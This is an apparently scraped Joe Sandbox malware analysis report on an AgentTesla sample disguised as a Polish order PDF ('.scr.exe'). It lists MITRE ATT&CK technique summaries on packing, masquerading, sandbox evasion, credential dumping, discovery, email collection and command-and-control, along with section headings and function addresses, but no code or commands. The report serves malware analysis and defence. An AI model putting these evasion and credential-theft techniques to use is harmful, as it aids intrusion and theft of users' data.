Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Zam#U00f3wienie Z2300056_pdf .scr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Zam#U00f3wienie Z2300056_pdf .scr.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
Zam#U00f3wienie Z2300056_pdf .scr.exe

Function 0798D7B0 Relevance: 1.5, Strings: 1, Instructions: 276
COMMON

Function 0798EC68 Relevance: 4.2, Strings: 3, Instructions: 483
COMMON

Function 05F3A0F4 Relevance: 1.7, APIs: 1, Instructions: 207
processCOMMON

Function 05F3A100 Relevance: 1.7, APIs: 1, Instructions: 201
processCOMMON

Function 05F3AAD1 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Function 05F3A3F0 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Function 05F3AAD8 Relevance: 1.6, APIs: 1, Instructions: 66
injectionCOMMON

Function 05F3A3F8 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Function 05F3A8E0 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Function 05F3A8E8 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Function 05F3AD78 Relevance: 1.6, APIs: 1, Instructions: 52
threadCOMMON

Function 05F3AD80 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Function 0798F9A0 Relevance: 1.3, Strings: 1, Instructions: 88
COMMON

Function 016A0C02 Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre